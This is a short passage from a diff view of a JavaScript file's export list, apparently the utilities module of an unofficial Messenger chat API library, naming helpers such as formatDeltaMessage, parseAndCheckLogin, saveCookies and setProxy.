arrToForm:arrToForm,
|
1213
|
+
getSignatureID:getSignatureID,
|
1214
|
+
getJar: request.jar,
|
1215
|
+
generateTimestampRelative:generateTimestampRelative,
|
1216
|
+
makeDefaults:makeDefaults,
|
1217
|
+
parseAndCheckLogin:parseAndCheckLogin,
|
1218
|
+
saveCookies,
|
1219
|
+
getType,
|
1220
|
+
_formatAttachment,
|
1221
|
+
formatHistoryMessage,
|
1222
|
+
formatID,
|
1223
|
+
formatMessage,
|
1224
|
+
formatDeltaEvent,
|
1225
|
+
formatDeltaMessage,
|
1226
|
+
formatProxyPresence,
|
1227
|
+
formatPresence,
|
1228
|
+
formatTyp,
|
1229
|
+
formatDeltaReadReceipt,
|
1230
|
+
formatCookie,
|
1231
|
+
formatThread,
|
1232
|
+
formatReadReceipt,
|
1233
|
+
formatRead,
|
1234
|
+
generatePresence,
|
1235
|
+
generateAccessiblityCookie,
|
1236
|
+
formatDate,
|
1237
|
+
decodeClientPayload,
|
1238
|
+
getAppState,
|
1239
|
+
getAdminTextMessageType,
|
1240
|
+
setProxy
|
1241
|
+
};
|